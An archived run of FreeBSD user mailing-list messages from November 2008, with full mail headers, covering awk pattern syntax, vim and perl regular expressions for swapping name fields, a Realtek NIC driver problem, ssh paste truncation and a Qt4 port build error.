<877i6lqeek.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mAUI45In009843 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-4.247, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.15, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@freebsd.org X-Spam-Status: No Cc: FreeBSD Mailing List Subject: Re: for awk experts only. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 18:04:14 -0000 On Sun, 30 Nov 2008 09:15:15 -0800, Gary Kline wrote: >On Sun, Nov 30, 2008 at 11:47:29AM +0200, Giorgos Keramidas wrote: >> Don't do this with a long stream of if/else/.../else blocks. AWK is >> a pattern based rule-language. You can apply different blocks of >> code to lines that match patterns like this: >> >> $3 ~ /adjective/ { print $1,"adj." } >> $3 ~ /noun/ { print $1,"n." } >> $3 ~ /verb/ { print $1,"v." } > > Thank you! Would I enclose the three lines with "BEGIN", and end with > an "exit;" at the end? Nope. None of the two. 'BEGIN' has a special meaning in awk patterns. It means "run this block of code before you start reading any input records". If you 'exit' somewhere in a code block, then awk will terminate the script after the first line that matches the relevant pattern. This is probably not quite what you want when awk filters through a long list of words. From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 18:14:45 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 06BD1106564A for ; Sun, 30 Nov 2008 18:14:45 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 346D38FC14 for ; Sun, 30 Nov 2008 18:14:43 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mAUIEbEg002821; Sun, 30 Nov 2008 19:14:37 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mAUIEYPo002818; Sun, 30 Nov 2008 19:14:35 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Sun, 30 Nov 2008 19:14:34 +0100 (CET) From: Wojciech Puchar To: Valentin Bud In-Reply-To: <139b44430811300745v350d25b7p680287d9a24544fe@mail.gmail.com> Message-ID: <20081130191349.W2817@wojtek.tensor.gdynia.pl> References: <139b44430811280548x36915301i766bfb15f162c8ca@mail.gmail.com> <20081128194531.7B17FB7C5@kev.msw.wpafb.af.mil> <139b44430811300745v350d25b7p680287d9a24544fe@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: vogelke+software@pobox.com, freebsd-questions@freebsd.org Subject: Re: 5 TB server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 18:14:45 -0000 > I perfectly agree with you and yes there might be monsters out there > in the ZFS on FreeBSD but the fact that us (the community) embrace the > change and apply it makes the development of it possible and even faster. > I don't want to offend anyone or to start a war this is just my opinion. everything is fine as long as ZFS is fully optional feature as today. From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 18:19:36 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8631C1065672 for ; Sun, 30 Nov 2008 18:19:36 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 0A83F8FC13 for ; Sun, 30 Nov 2008 18:19:35 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from happy-idiot-talk.infracaninophile.co.uk (localhost [IPv6:::1]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.3/8.14.3) with ESMTP id mAUIJRFv063494; Sun, 30 Nov 2008 18:19:28 GMT (envelope-from m.seaman@infracaninophile.co.uk) X-DKIM: Sendmail DKIM Filter v2.7.2 smtp.infracaninophile.co.uk mAUIJRFv063494 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=infracaninophile.co.uk; s=200708; t=1228069168; bh=L2h5pRPuMTidiT qJyf2bh66A3zX/tJpugzpFrSXszTQ=; h=Message-ID:Date:From:MIME-Version: To:CC:Subject:References:In-Reply-To:Content-Type:Cc:Content-Type: Date:From:In-Reply-To:Message-ID:Mime-Version:References:To; z=Mes sage-ID:=20<4932D91F.5040804@infracaninophile.co.uk>|Date:=20Sun,=2 030=20Nov=202008=2018:19:11=20+0000|From:=20Matthew=20Seaman=20|Organization:=20Infracaninophile|User -Agent:=20Thunderbird=202.0.0.18=20(X11/20081125)|MIME-Version:=201 .0|To:=20Drew=20Tomlinson=20|CC:=20FreeBSD =20Questions=20|Subject:=20Re:=20Reg ular=20Expression=20Help|References:=20<4932CA0D.8080109@mykitchent able.net>|In-Reply-To:=20<4932CA0D.8080109@mykitchentable.net>|X-En igmail-Version:=200.95.6|Content-Type:=20multipart/signed=3B=20mica lg=3Dpgp-sha256=3B=0D=0A=20protocol=3D"application/pgp-signature"=3 B=0D=0A=20boundary=3D"------------enig108C1DB5D46C91DE784207F4"; b=PM9TH+CXRFe4afAyQPjJmSfMTFIsSNkKo+Lkjqd7YGdKhxFb9VYEkl4dpKkk9E+fI 0851Q+C87bjD5z/j7/FsgH8q/wzC4jiLFvuchUB82Of520ESKZQ8pUSY1HjcQ9tnhll L500tZ7qivCPcgTpRBYM6SrHHD70gFrXN0bLJ8Q= Message-ID: <4932D91F.5040804@infracaninophile.co.uk> Date: Sun, 30 Nov 2008 18:19:11 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: Drew Tomlinson References: <4932CA0D.8080109@mykitchentable.net> In-Reply-To: <4932CA0D.8080109@mykitchentable.net> X-Enigmail-Version: 0.95.6 Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="------------enig108C1DB5D46C91DE784207F4" X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.0.1 (smtp.infracaninophile.co.uk [IPv6:::1]); Sun, 30 Nov 2008 18:19:28 +0000 (GMT) X-Virus-Scanned: ClamAV 0.94.2/8698/Sun Nov 30 15:09:19 2008 on happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,DKIM_SIGNED, DKIM_VERIFIED,NO_RELAYS autolearn=ham version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on happy-idiot-talk.infracaninophile.co.uk Cc: FreeBSD Questions Subject: Re: Regular Expression Help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 18:19:36 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig108C1DB5D46C91DE784207F4 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Drew Tomlinson wrote: > I'm attempting to take an ldiff file and flip first/last name order. =20 > However I can not figure out how to match hyphenated last names. In=20 > vim, my current search/replace string is: >=20 > %s/cn=3D\(\w\+\-*\) \(\w\+\),/cn=3D\2 \1,/gc >=20 > This will match: >=20 > cn=3DSmith Joe, >=20 > and replace it with: >=20 > cn=3DJoe Smith, >=20 > But it will not match: >=20 > cn=3DSmith-Brown Joe, >=20 > nor replace it with: >=20 > cn=3DJoe Smith-Brown, >=20 > I've tried various incantations of escaping and quantifying yet I can=20 > not figure out how to do what I want. Well, assuming that none of the surnames contain ',' and that the first '= ' (space) is always the delimiter between the surname and that anything els= e is forenames ...=20 % cat foo.txt=20 cn=3DSmith Joe, cn=3DSmith-Brown Joe, % perl -p -e 's/cn=3D([^ ,]+) ([^,]+),/cn=3D$2 $1,/' < foo.txt=20 cn=3DJoe Smith, cn=3DJoe Smith-Brown, ie. you need a s/// command that understands negated character classes. = I think sed(1) and vi(1) will do that, but I haven't time to look up the pr= ecise syntax. Perl, of course, just does the job for me. Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW --------------enig108C1DB5D46C91DE784207F4 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEAREIAAYFAkky2S8ACgkQ8Mjk52CukIxj7ACfSDDR6rlLZD2jrcqchD3wZn76 VvUAmwWmew53xvsyMmB84SO2NhWVtBOv =+rGm -----END PGP SIGNATURE----- --------------enig108C1DB5D46C91DE784207F4-- From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 18:24:32 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0B9251065670 for ; Sun, 30 Nov 2008 18:24:32 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id 793FF8FC1A for ; Sun, 30 Nov 2008 18:24:31 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from kobe.laptop (adsl144-35.kln.forthnet.gr [195.74.243.35]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mAUIOMXX010624 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 30 Nov 2008 20:24:27 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mAUIOMxb090757; Sun, 30 Nov 2008 20:24:22 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mAUIOLRu090756; Sun, 30 Nov 2008 20:24:21 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: Drew Tomlinson References: <4932CA0D.8080109@mykitchentable.net> Date: Sun, 30 Nov 2008 20:24:21 +0200 In-Reply-To: <4932CA0D.8080109@mykitchentable.net> (Drew Tomlinson's message of "Sun, 30 Nov 2008 09:14:53 -0800") Message-ID: <873ah9qdgq.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mAUIOMXX010624 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-3.8, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.60, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@ceid.upatras.gr X-Spam-Status: No Cc: FreeBSD Questions Subject: Re: Regular Expression Help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 18:24:32 -0000 On Sun, 30 Nov 2008 09:14:53 -0800, Drew Tomlinson wrote: > I'm attempting to take an ldiff file and flip first/last name order. > However I can not figure out how to match hyphenated last names. In > vim, my current search/replace string is: > > %s/cn=\(\w\+\-*\) \(\w\+\),/cn=\2 \1,/gc Hi Drew, Depending on the VI implementation you are using this may not work because some versions don't support `\w' as a character class. The regular expession, when translated to Perl, works fine though: $ cat foo cn=Smith Joe, cn=Smith-Brown Joe, $ perl -pe 's/^cn=(\w+-*\w+) (\w+),/cn=$2 $1,/' foo cn=Joe Smith, cn=Joe Smith-Brown, $ So you can just use Perl and the `extended regexp' syntax that includes `\w', `\d' and other special character classes. If you really _have_ to use VI to do this sort of replacement though, you may have to write the fully expanded form of `\w' to make this work: %s/^cn=\([A-Za-z]\+[A-Za-0-9]*[A-Za-z]*\) \([A-Za-z]\+[A-Za-0-9]*[A-Za-z]*\),/cn=\2 \1,/ Using the same \(...\) expression for both the `name' and `surname' part may be useful if you want to switch _back_ to the original format too, since it will swap words for all of the following: cn=Smith Joe, cn=Smith-Brown Joe, cn=Smith Marie, cn=Smith Anne-Marie, cn=Smith-Brown Anne-Marie, From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 19:25:35 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E2CDA1065670 for ; Sun, 30 Nov 2008 19:25:35 +0000 (UTC) (envelope-from drew@mykitchentable.net) Received: from smtpauth.surewest.net (smtpauth.surewest.net [66.60.130.153]) by mx1.freebsd.org (Postfix) with ESMTP id CA55F8FC14 for ; Sun, 30 Nov 2008 19:25:35 +0000 (UTC) (envelope-from drew@mykitchentable.net) Received: from blacklamb.mykitchentable.net (unknown [69.62.230.77]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by smtpauth.surewest.net (Postfix) with ESMTP id 07DC89BF82; Sun, 30 Nov 2008 11:25:09 -0800 (PST) Received: from [192.168.1.3] (bigdaddy.mykitchentable.net [192.168.1.3]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by blacklamb.mykitchentable.net (Postfix) with ESMTPSA id 4C050164D88; Sun, 30 Nov 2008 11:25:33 -0800 (PST) Message-ID: <4932E8A2.6030804@mykitchentable.net> Date: Sun, 30 Nov 2008 11:25:22 -0800 From: Drew Tomlinson User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: Matthew Seaman References: <4932CA0D.8080109@mykitchentable.net> <4932D91F.5040804@infracaninophile.co.uk> In-Reply-To: <4932D91F.5040804@infracaninophile.co.uk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Questions Subject: Re: Regular Expression Help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 19:25:36 -0000 Matthew Seaman wrote: > Drew Tomlinson wrote: >> I'm attempting to take an ldiff file and flip first/last name order. >> However I can not figure out how to match hyphenated last names. In >> vim, my current search/replace string is: >> >> %s/cn=\(\w\+\-*\) \(\w\+\),/cn=\2 \1,/gc >> >> This will match: >> >> cn=Smith Joe, >> >> and replace it with: >> >> cn=Joe Smith, >> >> But it will not match: >> >> cn=Smith-Brown Joe, >> >> nor replace it with: >> >> cn=Joe Smith-Brown, >> >> I've tried various incantations of escaping and quantifying yet I can >> not figure out how to do what I want. > > Well, assuming that none of the surnames contain ',' and that the > first ' ' > (space) is always the delimiter between the surname and that anything > else > is forenames ... > % cat foo.txt cn=Smith Joe, > cn=Smith-Brown Joe, > % perl -p -e 's/cn=([^ ,]+) ([^,]+),/cn=$2 $1,/' < foo.txt cn=Joe Smith, > cn=Joe Smith-Brown, > > ie. you need a s/// command that understands negated character > classes. I > think sed(1) and vi(1) will do that, but I haven't time to look up the > precise > syntax. Perl, of course, just does the job for me. Thank you for your reply. The particular editor I was attempting to use is vim 7.1.315. However it doesn't like the above string so I tried you perl example verbatim. It works and even handles such lines as: cn=Smith-Brown Joe & Jane, to cn=Joe & Jane Smith-Brown, which I hadn't considered. I still don't really understand *why* the above works but I'm trying to pick it apart now. Thanks to you and the others for the replies. Cheers, Drew -- Be a Great Magician! Visit The Alchemist's Warehouse http://www.alchemistswarehouse.com From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 19:39:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A188D1065673 for ; Sun, 30 Nov 2008 19:39:06 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: from rv-out-0506.google.com (rv-out-0506.google.com [209.85.198.234]) by mx1.freebsd.org (Postfix) with ESMTP id 745D48FC08 for ; Sun, 30 Nov 2008 19:39:06 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: by rv-out-0506.google.com with SMTP id b25so2078646rvf.43 for ; Sun, 30 Nov 2008 11:39:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=Y8fM1nASrNA5PFFR/F0ivO7SA9PR0L3VW6XmFXnP7Gw=; b=lBibMAEF6VSzYhsrKiuWmAr+OiiUK6IekaOgT8fnF5nwTPSeYJBn5qeW51DX+kLmyH u3b8g0qDDWPudwwDhe/tUaCizvEi5kevpuFmlgbAIVMYszH4eJGrgg85MA6AVfZPuYKJ jBAQuz4ocwXIN7bqqeCXRPR8KkKmJWUgu5U/Y= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=sJuISh4X9NtpOuBf3zKEPw7Af0F/bniRTTICZNfMdfLOEhYNoGjxZMqBj9xKTPbK2x 85m5IYBkobbkFdhDxa+25eTqNmI+BtkBvOcub52cpAeXranJBRuvhYiRbHuav+GoNiEg 5LwbWXeXy2ZwgzkNwP8ZSyDQkpjlZ9FFu46So= Received: by 10.142.140.14 with SMTP id n14mr4186017wfd.201.1228073946094; Sun, 30 Nov 2008 11:39:06 -0800 (PST) Received: by 10.142.180.20 with HTTP; Sun, 30 Nov 2008 11:39:06 -0800 (PST) Message-ID: <1bd550a00811301139r5f14f8bej9a80c3d30bd64d57@mail.gmail.com> Date: Sun, 30 Nov 2008 20:39:06 +0100 From: "=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=" To: "Tore Lund" In-Reply-To: <49306C09.40308@next.online.no> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <1227874986.00041844.1227863401@10.7.7.3> <49306C09.40308@next.online.no> Cc: freebsd-questions@freebsd.org Subject: Re: FBSD 7.1 BETA2 and RTL8168/8111 problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 19:39:06 -0000 On Fri, Nov 28, 2008 at 11:09 PM, Tore Lund wrote: > Fernando Apestegu=EDa wrote: >> Hi all, >> >> I recently installed FreeBSD 7.1 BETA2 on my system. During >> installation using FTP option, I could notice the following: >> >> After some random time (two, five or six minutes, for instance) the >> installation stalled and sysinstall lost the connection. I was taken >> back to the "Select FTP site" screen, and I had to configure my NIC >> again. Then, the install resumed and I got a usable system (MINIMAL + >> docs + manpages) >> >> But the problem persists. From time to time, it seems the kernel can't >> see the NIC. It happens during normal operation and no message is >> shown in /var/log/messages. ifconfig doesn't show my 're0' device, so >> I can't run dhclient on it and I have to reboot. I have to say that >> sometimes, even when I reboot, the NIC (RTL8168/8111 PCI Express) is >> not present. >> >> This device works fine in the same computer with either Vista or >> Fedora 9, though I have to say I had similar problems with earlier >> versions of Fedora (device disappearing or not present after boot), >> but after a kernel upgrade everything run smoothly. >> >> Does FreeBSD use the same driver than Linux does? Anybody else with >> this problem? >> >> Thanks in advance. > > All I can say is that I have the same NIC, which is built into my Asus > M2A-VM motherboard. I have used it since March 2008 with no problems at > all. For the past three days I have been running 7.1-BETA2, also with > no problems. I should like to provide more detail if that can be of any > help to you. > -- > Tore > Hi again, As Pegasus remarked, I can see two "PHY write failed" in dmesg. I did a freebsd-update a couple of days ago and I haven't seen this issue so far. I'll watch and report it should I get this error again. Cheers > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" > From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 20:20:27 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7AEAC106564A for ; Sun, 30 Nov 2008 20:20:27 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 2E8548FC0A for ; Sun, 30 Nov 2008 20:20:26 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L6smF-0007NU-9w for freebsd-questions@freebsd.org; Sun, 30 Nov 2008 20:20:23 +0000 Received: from 93-138-125-188.adsl.net.t-com.hr ([93.138.125.188]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 30 Nov 2008 20:20:23 +0000 Received: from ivoras by 93-138-125-188.adsl.net.t-com.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 30 Nov 2008 20:20:23 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Sun, 30 Nov 2008 21:20:00 +0100 Lines: 39 Message-ID: References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig02F91044EC1B4FDC652FD154" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: 93-138-125-188.adsl.net.t-com.hr User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) In-Reply-To: X-Enigmail-Version: 0.95.7 Sender: news Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 20:20:27 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig02F91044EC1B4FDC652FD154 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Eugene Pimenov wrote: > Hello everyone, >=20 > I'm not really sure weither it's related to freebsd or ssh. >=20 > When I paste a lot of data (6060 bytes, 60 lines 100 bytes each + =E2=80= =98\n=E2=80=99) > via ssh into `cat > test.txt` or the small program, one freebsd receive= s > 5181, another receives 3221 bytes. I regularly do copy-pastes of textual data of that size (and larger) in interactive sessions (with text editors) without problems, between FreeBSD machines and from Linux to FreeBSD machines. Are you sure it's not a problem with your terminal application and not on the server side? (try a different terminal). --------------enig02F91044EC1B4FDC652FD154 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkky9XAACgkQldnAQVacBchz5QCfWAeDbPzpOg7go9fnIBauftDt I84AoJFKMT0eE99JmaprcclKVN/llKQz =zaO4 -----END PGP SIGNATURE----- --------------enig02F91044EC1B4FDC652FD154-- From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 21:50:00 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5028C1065672; Sun, 30 Nov 2008 21:50:00 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from smtp.po.exetel.com.au (pecan.exetel.com.au [220.233.0.17]) by mx1.freebsd.org (Postfix) with ESMTP id 194538FC17; Sun, 30 Nov 2008 21:49:59 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from 196.43.96.58.exetel.com.au ([58.96.43.196] helo=enterprise.blackthorn.nu) by smtp.po.exetel.com.au with esmtp (Exim 4.68) (envelope-from ) id 1L6uAu-0005ZZ-BE; Mon, 01 Dec 2008 08:49:58 +1100 Message-ID: <49330AA9.9080204@maydias.com> Date: Mon, 01 Dec 2008 07:50:33 +1000 From: Warren Liddell User-Agent: Thunderbird 2.0.0.17 (X11/20081016) MIME-Version: 1.0 To: kde@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Error Building Qt4-sql X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 21:50:00 -0000 Just updated my ports via csup and i need qt4-sql installed as a dependency for KDE4.1.3, but it refuses to let me compile it with the following error... The target system byte order could not be detected! Turn on verbose messaging (-v) to see the final report. You can use the -little-endian or -big-endian switch to ./configure to continue. ===> Script "configure" failed unexpectedly. Please report the problem to kde@FreeBSD.org [maintainer] and attach the "/usr/ports/databases/qt4-sql/work/qt-x11-opensource-src-4.4.1/src/sql/../..//config.log" including the output of the failure of your make command. Also, it might be a good idea to provide an overview of all packages installed on your system (e.g. an `ls /var/db/pkg`). *** Error code 1 Stop in /usr/ports/databases/qt4-sql. ** Command failed [exit code 1]: /usr/bin/script -qa /tmp/portinstall.13456.0 env make ** Fix the problem and try again. ** Listing the failed packages (-:ignored / *:skipped / !:failed) ! databases/qt4-sql (unknown build error) From owner-freebsd-questions@FreeBSD.ORG Sun Nov 30 22:20:10 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 86E1F106564A for ; Sun, 30 Nov 2008 22:20:10 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: from yx-out-2122.google.com (yx-out-2122.google.com [74.125.44.25]) by mx1.freebsd.org (Postfix) with ESMTP id 494088FC13 for ; Sun, 30 Nov 2008 22:20:10 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: by yx-out-2122.google.com with SMTP id 35so639498yxh.13 for ; Sun, 30 Nov 2008 14:20:09 -0800 (PST) MIME-Version: 1.0 Received: by 10.100.153.6 with SMTP id a6mr844497ane.12.1228083609607; Sun, 30 Nov 2008 14:20:09 -0800 (PST) Date: Sun, 30 Nov 2008 14:20:09 -0800 (PST) In-Reply-To: X-IP: 83.237.103.45 References: User-Agent: G2/1.0 X-HTTP-UserAgent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1, gzip(gfe), gzip(gfe) Message-ID: From: Eugene Pimenov To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: quoted-printable X-Mailman-Approved-At: Mon, 01 Dec 2008 00:14:44 +0000 Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Nov 2008 22:20:10 -0000 On 30 =CE=CF=D1=C2, 23:20, Ivan Voras wrote: > > I regularly do copy-pastes of textual data of that size (and larger) in > interactive sessions (with text editors) without problems, between > FreeBSD machines and from Linux to FreeBSD machines. Are you sure it's > not a problem with your terminal application and not on the server side? > (try a different terminal). Tried a different terminal. iTerm to be exact. The same problem, the same number of bytes. A friend of mine tried from gentoo linux on his laptop (he'is using yakukake (terminal)), and reproduced the same issue, but different amount of bytes (3221 for the server that receives 5181 from me). Is there some stupid sysctl setting? or something like that? I'm so tired of pasting into a linux box and wget from it into a freebsd box. > > =9Asignature.asc > < 1K=C2=F0=D2=CF=D3=CD=CF=D4=D2=C5=D4=D8=FA=C1=C7=D2=D5=DA=C9=D4=D8 From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 00:34:36 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F0C7D106564A for ; Mon, 1 Dec 2008 00:34:36 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) 